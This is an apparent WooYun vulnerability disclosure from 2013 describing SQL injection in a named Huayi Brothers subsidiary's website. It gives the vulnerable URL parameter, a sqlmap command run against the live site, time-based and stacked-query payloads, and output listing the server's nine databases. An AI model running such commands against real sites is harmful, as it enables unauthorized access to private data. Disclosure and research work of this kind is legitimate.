当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041810

漏洞标题:华谊兄弟旗下某公司 # SQL注射漏洞 (存在敏感信息)

相关厂商:华谊兄弟传媒

漏洞作者: MeirLin

提交时间:2013-11-04 15:44

修复时间:2013-12-19 15:45

公开时间:2013-12-19 15:45

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-12-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

可能会泄露签约明星资料哦。。安全做的不到位呀。

详细说明:

可能会泄露签约明星资料哦
SQL注射存在"/news/visitcount.aspx"里。
后面跟个"?ID=1"

http://www.hbstars.com//news/visitcount.aspx?ID=1


丢到SQLMAP

root@kali:~# sqlmap -u http://www.hbstars.com:80/news/visitread.aspx?ID=1 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:56:49
[00:56:49] [INFO] resuming back-end DBMS 'microsoft sql server'
[00:56:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=1 WAITFOR DELAY '0:0:5'--
---
[00:56:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[00:56:49] [INFO] fetching database names
[00:56:49] [INFO] fetching number of databases
[00:56:49] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[00:56:58] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[00:57:08] [INFO] adjusting time delay to 1 second due to good response times
9
[00:57:09] [INFO] retrieved: HBS
[00:57:21] [INFO] retrieved: master
[00:57:51] [INFO] retrieved: model
[00:58:18] [INFO] retrieved: msdb
[00:58:38] [INFO] retrieved: ReportServer
[00:59:39] [INFO] retrieved: ReportServerTempDB
[01:01:09] [INFO] retrieved: tempdb
[01:01:42] [INFO] retrieved: WXJJ
[01:02:02] [INFO] retrieved: WXJJ_NEW
available databases [9]:
[*] HBS
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] WXJJ
[*] WXJJ_NEW
[01:02:41] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.hbstars.com'
[*] shutting down at 01:02:41
root@kali:~#


漏洞证明:

1.png


2.png


3.png

修复方案:

弄WAF防御

版权声明:转载请注明来源 MeirLin@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2014-04-02 19:44 | T-MAC ( 路人 | Rank:19 漏洞数:2 )

    背景敢再淫荡一点么?

  2. 2014-04-02 23:00 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    @T-MAC 不要在意这些 - -,